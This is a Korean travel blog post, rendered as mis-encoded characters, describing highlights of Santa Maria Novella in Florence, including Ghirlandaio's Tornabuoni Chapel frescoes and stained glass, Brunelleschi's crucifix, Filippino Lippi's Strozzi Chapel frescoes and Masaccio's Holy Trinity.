์•„๋ž˜๋Š” ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น์„ ๋ฐฉ๋ฌธํ•œ๋‹ค๋ฉด ๋ด์•ผ๋  ํฌ์ธํŠธ๋ฅผ ๋ช‡๊ฐ€์ง€ ์ •๋ฆฌํ•ด ๋ณด์•˜๋‹ค.

3.1. ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel)

์•„๋ฌด๋ž˜๋„ ์„ฑ๋‹น์„ ์ž…์žฅํ•˜๊ฒŒ ๋˜๋ฉด ์•„๋ฌด๋ž˜๋„ ๊ฐ€์žฅ ์ •๋ฉด์„ ์‚ดํŽด๋ณด๊ฒŒ ๋œ๋‹ค.
์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น ์ •๋ฉด์—๋Š” 3๊ฐœ์˜ ๊ฑฐ๋Œ€ํ•œ ์Šคํ…์ธ๋“œ๊ธ€๋ผ์Šค ์ฐฝ๋ฌธ์ด ์žˆ๋Š” ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(์˜์–ด Tornabuoni Chapel, ์ดํƒˆ๋ฆฌ์•„์–ด Cappella Maggiore)์ด ๋ˆˆ๊ธธ์„ ๋ˆ๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(์˜์–ด Tornabuoni Chapel, ์ดํƒˆ๋ฆฌ์•„์–ด Cappella Maggiore) ์„ค๋ช…์„œ, ยฉ All Rights Reserved - Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(์˜์–ด Tornabuoni Chapel, ์ดํƒˆ๋ฆฌ์•„์–ด Cappella Maggiore) ์„ค๋ช…์„œ, ยฉ All Rights Reserved – Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(์˜์–ด Tornabuoni Chapel, ์ดํƒˆ๋ฆฌ์•„์–ด Cappella Maggiore), ยฉ All Rights Reserved - Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(์˜์–ด Tornabuoni Chapel, ์ดํƒˆ๋ฆฌ์•„์–ด Cappella Maggiore), ยฉ All Rights Reserved – Choi dongsoon

ํ™”๋ คํ•œ ์Šคํ…Œ์ธ๋“œ๊ธ€๋ผ์Šค๋Š” 1491๋…„ ๊ธฐ๋ฅผ๋ž€๋””์š”๊ฐ€ ๋งŒ๋“  ์ž‘ํ’ˆ์œผ๋กœ ์•„๋ž˜์™€ ๊ฐ™์€ ๋‚ด์šฉ์„ ๋‹ด๊ณ  ์žˆ๋‹ค.

  • ์ขŒ์ธก ์Šคํ…์ธ๋“œ๊ธ€๋ผ์Šค๋Š” ์„ฑ ๋ฒ ๋“œ๋กœ, ์„ธ๋ก€ ์š”ํ•œ, ์„ฑ ๋„๋ฉ”๋‹ˆ์ฝ”
  • ๊ฐ€์šด๋ฐ ์„ฑ๋ชจ์˜ ๋ฌด๋ค์—์„œ ์„ฑ๋ชจ์˜ ์Šน์ฒœ์„ ๋ชฉ๊ฒฉํ•˜๊ณ  ๊ฑฐ๋“ค์„ ๋ฐ›๋Š” ๋„๋งˆ, 8์ผ๋งŒ์— ํ• ๋ก€๋ฅผ ๋ฐ›๋Š” ์˜ˆ์ˆ˜๋‹˜, ๋ˆˆ์˜ ์„ฑ๋ชจ๋‹˜
  • ์šฐ์ธก ์‚ฌ๋„ ๋ฐ”์šธ, ์„ฑ ๋ผ์šฐ๋ Œ์‹œ์˜ค, ์„ฑ ํ† ๋งˆ์Šค ์•„ํ€ด๋‚˜์Šค

์—ฌ๊ธฐ์—๋Š” ํ™”๋ คํ•œ ์Šคํ…์ธ๋“œ๊ธ€๋ผ์Šค์™ธ์— ๋ณผ๋งŒํ•œ ํ”„๋ ˆ์Šค์ฝ”ํ™”๊ฐ€ ์žˆ๋Š”๋ฐ ๋ฐ”๋กœ ‘๋™์ •๋…€์™€ ์„ธ๋ก€์ž ์„ฑ ์š”ํ•œ์˜ ์ƒ์•  Scenes from the Lives of the Virgin and St. John the Baptist’ ์‹œ๋ฆฌ์ฆˆ๊ฐ€ ๊ทธ๊ฒƒ์ด๋‹ค.

์›๋ž˜ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น์˜ ๋ฉ”์ธ ์„ฑ๋‹น์—๋Š” ์•ˆ๋“œ๋ ˆ์•„ ์˜ค๋ฅด์นด๋ƒ (Andrea Orcagna๊ฐ€ ๊ทธ๋ฆฐ ํ”„๋ ˆ์Šค์ฝ”ํ™”๋กœ ์žฅ์‹๋˜์–ด ์žˆ์—ˆ์ง€๋งŒ ์‹œ๊ฐ„์ด ์ง€๋‚˜๋ฉด์„œ ์—ด์•…ํ•œ ์ƒํƒœ๊ฐ€ ๋˜๋ฉด์„œ ๋ณด์™„์ด ํ•„์š”ํ•ด ์กŒ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ๋‹น์‹œ ๋ฉ”์ธ ์„ฑ๋‹น์— ๋Œ€ํ•œ ๊ถŒ๋ฆฌ๋ฅผ ๊ฐ€์กŒ๋˜ ๋ฆฌ์น˜(Ricci)๊ฐ€๋Š” ์žฌ์ •์ ์œผ๋กœ ํŒŒ์‚ฐํ•ด ์—ฌ์œ ๊ฐ€ ์—†์—ˆ๊ธฐ์— ์šฐ์—ฌ๊ณก์ ˆ ๋์— ๋ฉ”๋””์น˜๊ฐ€์˜ ์‚ฌ๋ˆ ๊ฐ€๋ฌธ์ด์ž ๋กœ๋งˆ ๋ฉ”๋””์น˜ ์€ํ–‰์˜ ์€ํ–‰์žฅ์ด์—ˆ๋˜ ์กฐ๋ฐ˜๋‹ˆ ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ(Giovanni Tornabuoni)์—๊ฒŒ ๊ถŒ๋ฆฌ๊ฐ€ ๋„˜์–ด ๊ฐ„๋‹ค.

์กฐ๋ฐ˜๋‹ˆ ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ(Giovanni Tornabuoni)๋Š” 1485๋…„ ๊ธฐ๋ฅผ๋ž€๋‹ค์š”(Ghirlandaio)์—๊ฒŒ ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ ๊ตํšŒ ์˜ˆ๋ฐฐ๋‹น์— ‘๋™์ •๋…€ ๋งˆ๋ฆฌ์•„์™€ ์„ธ๋ก€์ž ์„ฑ ์š”ํ•œ์˜ ์ƒ์•  Scenes from the Lives of the Virgin and St. John the Baptist’ ์‹œ๋ฆฌ์ฆˆ๋ฅผ ๊ทธ๋ฆฌ๋„๋ก ์ œ์•ˆํ•˜๊ณ  1200๋‘์นดํŠธ๋ฅผ ์ œ์‹œํ–ˆ๋‹ค. ์•„์šธ๋Ÿฌ ๋งˆ์Œ์— ๋“ค๊ฒŒ ๊ทธ๋ฆด ๊ฒฝ์šฐ 200๋‘์นดํŠธ๋ฅผ ๋” ์ฃผ๊ฒ ๋‹ค๊ณ  ์•ฝ์†ํ–ˆ๋‹ค.

๊ธฐ๋ฅผ๋ž€๋‹ค์š”(Ghirlandaio)๋Š” ์ด๋ฅผ ๋ฌด๋ ค 5๋…„์— ๊ฑธ์ณ ์‹ฌํ˜ˆ์„ ๊ธฐ์šธ์—ฌ ๊ทธ๋ ธ๋‹ค. 1490๋…„ ์™„์„ฑ๋˜์–ด ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel)์ด ๊ณต๊ฐœ๋˜์ž ์—„์ฒญ๋‚œ ์ฐฌ์‚ฌ๋ฅผ ๋ฐ›์•˜๋‹ค.

ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ๋„ ์ด ์˜ˆ๋ฐฐ๋‹น์ด ๋งˆ์Œ์— ๊ผญ ๋“ ๋‹ค๋ฉด์„œ ์นญ์ฐฌ์„ ์•„๋ผ์ง€ ์•Š์•˜๋‹ค. ๊ทธ๋ ‡์ง€๋งŒ ๊ทธ๋Š” ๊ฒฝ์ œ์ ์œผ๋กœ ๊ณค๋ž€ํ•œ ์ฒ˜์ง€์— ์žˆ์–ด ์ด์ „์— ์•ฝ์†ํ–ˆ๋˜ 200๋‘์นดํŠธ๋ฅผ ๋” ์ฃผ์ง€๋Š” ๋ชปํ–ˆ๊ธฐ์— ์šฉ์„œ๋ฅผ ๋นŒ์—ˆ๋‹ค๊ณ  ํ•œ๋‹ค.

์ด์— ๊ธฐ๋ฅผ๋ž€๋‹ค์š”(Ghirlandaio)๋Š” ํ›„์›์ž๊ฐ€ ๋งŒ์กฑํ•ด ํ•˜๋Š” ๊ฒƒ์ด ๋ˆ๋ณด๋‹ค ๋” ์ค‘์š”ํ•˜๋‹ค๋ฉด์„œ ํก์กฑํ•ด ํ–ˆ๋‹ค๋Š” ์ด์•ผ๊ธฐ๊ฐ€ ์ „ํ•ด ์˜จ๋‹ค.

๊ทธ์˜ ์ž‘ํ’ˆ๋“ค ๋ช‡๊ฐœ๋ฅผ ๋ณด์ž. ‘์„ธ๋ก€์ž ์š”ํ•œ์˜ ์ƒ์• ’๋ฅผ ๊ทธ๋ฆฐ ์ž‘ํ’ˆ ๋“ฑ ์ค‘ ์ผ๋ถ€์ด๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel), ์„ธ๋ก€ ์š”ํ•œ์˜ ์ถœ์ƒ(Birth of the Baptist)
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel), ์„ธ๋ก€ ์š”ํ•œ์˜ ์ถœ์ƒ(Birth of the Baptist)
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel), ์ฆˆ๊ฐ€๋žด๊ฐ€ ์•„๋“ค(์š”ํ•œ)์˜ ์ด๋ฆ„์„ ์“ฐ๋‹ค(Zechariah Writes John's Name)
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel), ์ฆˆ๊ฐ€๋žด๊ฐ€ ์•„๋“ค(์š”ํ•œ)์˜ ์ด๋ฆ„์„ ์“ฐ๋‹ค(Zechariah Writes John’s Name)
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel), ์ฆˆ๊ฐ€๋žด์—๊ฒŒ ๋‚˜ํƒ€๋‚œ ์ฒœ์‚ฌ(Apparition of the Angel to St. Zechariah)
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel), ์ฆˆ๊ฐ€๋žด์—๊ฒŒ ๋‚˜ํƒ€๋‚œ ์ฒœ์‚ฌ(Apparition of the Angel to St. Zechariah)

3.2. ๊ณค๋”” ์˜ˆ๋ฐฐ๋‹น (Gondi Chapel)

ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel) ๋ฐ”๋กœ ์™ผ์ชฝ์— ์žˆ๋Š” ๊ฒƒ์ด ๊ณค๋”” ์˜ˆ๋ฐฐ๋‹น (Gondi Chapel) ์ด๋‹ค.

์—ฌ๊ธฐ์—๋Š” ๋ธŒ๋ฃจ๋„ฌ๋ฆฌ์Šคํ‚ค๊ฐ€ ์กฐ๊ฐํ•œ ์‹ญ์ž๊ฐ€๊ฐ€ ์žˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์•„๋Š” ํ”ผ๋ Œ์ฒด ๋Œ€์ƒ๋™ ๋”์„ ๊ฑด์ถ•ํ•œ ์ฒœ์žฌ ๊ฑด์ถ•๊ฐ€ ๋ง์ด๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ๊ณค๋”” ์˜ˆ๋ฐฐ๋‹น (Gondi Chapel)์˜ ๋ธŒ๋ฅด๋„ฌ๋ฆฌ์Šคํ‚ค ์‹ญ์ž๊ฐ€, ยฉ All Rights Reserved - Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ๊ณค๋”” ์˜ˆ๋ฐฐ๋‹น (Gondi Chapel)์˜ ๋ธŒ๋ฅด๋„ฌ๋ฆฌ์Šคํ‚ค ์‹ญ์ž๊ฐ€, ยฉ All Rights Reserved – Choi dongsoon

3.3. ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น

์ค‘์ค‘์•„์— ์žˆ๋Š” ํ† ๋ฅด๋‚˜๋ถ€์˜ค๋‹ˆ ์˜ˆ๋ฐฐ๋‹น(Tornabuoni Chapel) ๋ฐ”๋กœ ์˜ค๋ฅธ์ชฝ์— ์žˆ๋Š” ๊ฒƒ์ด ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น (Filippo Strozzi Chapel)์ด๋‹ค.

์—ฌ๊ธฐ์—๋„ ํ™”๋ คํ•œ ์Šคํ…Œ์ธ๋“œ๊ธ€๋ผ์Šค ์žฅ์‹์˜ ์ฐฝ๋ฌธ์ด ์žˆ์œผ๋ฉฐ, ํ™”๋ คํ•œ ํ”„๋ ˆ์Šค์ฝ”ํ™”๋กœ ์žฅ์‹๋˜์–ด ์žˆ๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น (Filippo Strozzi Chapel)์˜ ์Šคํ…Œ์ธ๋“œ๊ธ€๋ผ์Šค, ยฉ All Rights Reserved - Choi dongsoon
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น (Filippo Strozzi Chapel)์˜ ์Šคํ…Œ์ธ๋“œ๊ธ€๋ผ์Šค, ยฉ All Rights Reserved – Choi dongsoon

์ด ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น (Filippo Strozzi Chapel)์˜ ํ”„๋ ˆ์Šค์ฝ”ํ™”๋Š” ํ•„๋ฆฌํ”ผ๋…ธ ๋ฆฌํ”ผ๊ฐ€ ๋ง๋…„์— ํ”ผ๋ Œ์ฒด๋กœ ๋Œ์•„์™€ ๊ทธ๋ฆฐ ๊ทธ๋ฆผ๋“ค๋กœ ์žฅ์‹๋˜์–ด ์žˆ๋‹ค.

์•„๋ž˜ ๊ทธ๋ฆผ์€ ๋ณต์Œ์‚ฌ๊ฐ€ ์š”ํ•œ์„ ๋‹ค๋ฅธ ์š”ํ•œ ํ–‰๋ก์— ๋‚˜์˜ค๋Š” ๋‚ด์šฉ ์ค‘ ๋“œ๋ฃจ์‹œ์•„๋‚˜๋ผ๋Š” ์—ฌ์ธ์„ ํ™˜์ƒ์‹œํ‚ค๋Š” ๋‚ด์šฉ์„ ํ‘œํ˜„ํ•œ ๊ฒƒ์ด๋‹ค.

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น (Filippo Strozzi Chapel) ํ”„๋ ˆ์Šค์ฝ”, Filippino Lippi, St Philip Driving the Dragon from the Temple of Hieropolis (detail)
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น (Filippo Strozzi Chapel) ํ”„๋ ˆ์Šค์ฝ”, Filippino Lippi, St Philip Driving the Dragon from the Temple of Hieropolis (detail)

์•„๋ž˜ ๊ทธ๋ฆผ์€ ์„ฑ ํ•„๋ฆฝ๋ณด๊ฐ€ ํžˆ์—๋ผํด๋ฆฌ์Šค์—์†Œ ์šฉ์„ ๋ฌด์ฐŒ๋ฅด๋Š” ์žฅ๋ฉด์„ ํ‘œํ˜„ํ•œ ๊ฒƒ

์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น (Filippo Strozzi Chapel) ํ”„๋ ˆ์Šค์ฝ” , Filippino Lippi, St Philip Driving the Dragon from the Temple of Hieropolis (detail)
์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰, ํ”ผ๋ Œ์ฒด, ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น, ํ•„๋ฆฌํฌ ์ŠคํŠธ๋กœ์น˜ ์˜ˆ๋ฐฐ๋‹น (Filippo Strozzi Chapel) ํ”„๋ ˆ์Šค์ฝ” , Filippino Lippi, St Philip Driving the Dragon from the Temple of Hieropolis (detail)

3.4. ์„ฑ ์‚ผ์œ„์ผ์ฒด(Holy Trinity)

๋งˆ์‚ฌ์ดˆ๋Š” ๋ธŒ๋ฃจ๋„ฌ๋ ˆ์Šค์ฝ”์™€๋„ ์นœ๋ฐ€ํ•œ ๊ด€๊ณ„๋ฅผ ์œ ์ง€ํ–ˆ๋Š”๋ฐ ์ด ๋•๋ถ„์— ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ ์„ฑ๋‹น ๋ฒฝ๋ฉด์„ ์žฅ์‹ํ•˜๊ณ  ์žˆ๋Š” “์„ฑ ์‚ผ์œ„์ผ์ฒด”๋ฅผ ์ œ์ž‘ํ•˜๊ฒŒ ๋˜์—ˆ๋‹ค.

๋งˆ์‚ฌ์ดˆ ์‚ฌ๋ง 1๋…„์ „์— ๊ทธ๋ฆฐ “์„ฑ ์‚ผ์œ„์ผ์ฒด(Holy Trinity)”๋Š” ์•Œ๋ฒ ๋ฅดํƒ€์™€ ๋ธŒ๋ฃจ๋„ฌ๋ ˆ์Šค์ฝ”๊ฐ€ ๊ณ ์•ˆํ•œ ์„ ์›๊ทผ๋ฒ•์„ ์ ์šฉํ•œ ์ตœ์ดˆ์˜ ํšŒํ™” ์ž‘ํ’ˆ์ด๋‹ค.

์ด์ „์—๋Š” ๊ฐœ๊ด„์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋˜ ์›๊ทผ๋ฒ•์€ ์ด ๊ทธ๋ฆผ์—์„œ ๋งค์šฐ ๋†’์€ ์ˆ˜์ค€์œผ๋กœ ๊ตฌํ˜„๋˜์—ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์ด ๊ทธ๋ฆผ์„ ๋ณธ ์‚ฌ๋žŒ๋“ค์€ “๋ฒฝ์— ๊ตฌ๋ฉ์ด ๋šซ๋ฆฐ ์ค„ ์•Œ์•˜๋‹ค.”๊ณ  ์›๊ทผ๋ฒ•์˜ ํšจ๊ณผ์— ๊ฐํƒ„ํ–ˆ๋‹ค๊ณ  ํ•œ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ด ์ž‘ํ’ˆ์˜ ํ•˜๋‹จ ํ•ด๊ณจ์œ„์— ์“ฐ์—ฌ์ง„ ๋ฌธ๊ตฌ๋Š” “์ง€๊ธˆ ๋ชจ์Šต์˜ ๋‚˜๋Š” ์›๋ž˜ ๋‹น์‹ ๊ณผ ๊ฐ™์€ ๋ชจ์Šต์ด์—ˆ๋‹ค. ๋‹น์‹ ๋„ ๋‚˜์˜ ๋ชจ์Šต์ฒ˜๋Ÿผ ๋  ๊ฒƒ์ด๋‹ค.”

ํ”ผ๋ Œ์ฒด ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ ์„ฑ๋‹น์— ๊ทธ๋ ค์ง„ ๋งˆ์‚ฌ์ดˆ(Masaccio)์˜ ์„ฑ ์‚ผ์œ„์ผ์ฒด(Holy Trinity)-tile
ํ”ผ๋ Œ์ฒด ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ ์„ฑ๋‹น์— ๊ทธ๋ ค์ง„ ๋งˆ์‚ฌ์ดˆ(Masaccio)์˜ ์„ฑ ์‚ผ์œ„์ผ์ฒด(Holy Trinity)

์ด ํฌ์ŠคํŒ…์€ ํ˜‘์˜ํ•˜์— “[์ดํƒˆ๋ฆฌ์•„ ์—ฌํ–‰] ์•Œ๋ฒ ๋ฅดํƒ€์™€ ๋งˆ์‚ฌ์ดˆ์˜ ๊ฑธ์ž‘์„ ๋งŒ๋‚˜๋Š” ๊ณณ ํ”ผ๋ Œ์ฒด ์‚ฐํƒ€ ๋งˆ๋ฆฌ์•„ ๋…ธ๋ฒจ๋ผ์„ฑ๋‹น”์„ ์—ฌ๊ธฐ์—๋„ ๊ฐ™์ด ๊ณต์œ ํ•˜๋‹ˆ ์ดํ•ดํ•˜๊ธธ ๋ฐ”๋ž€๋‹ค.

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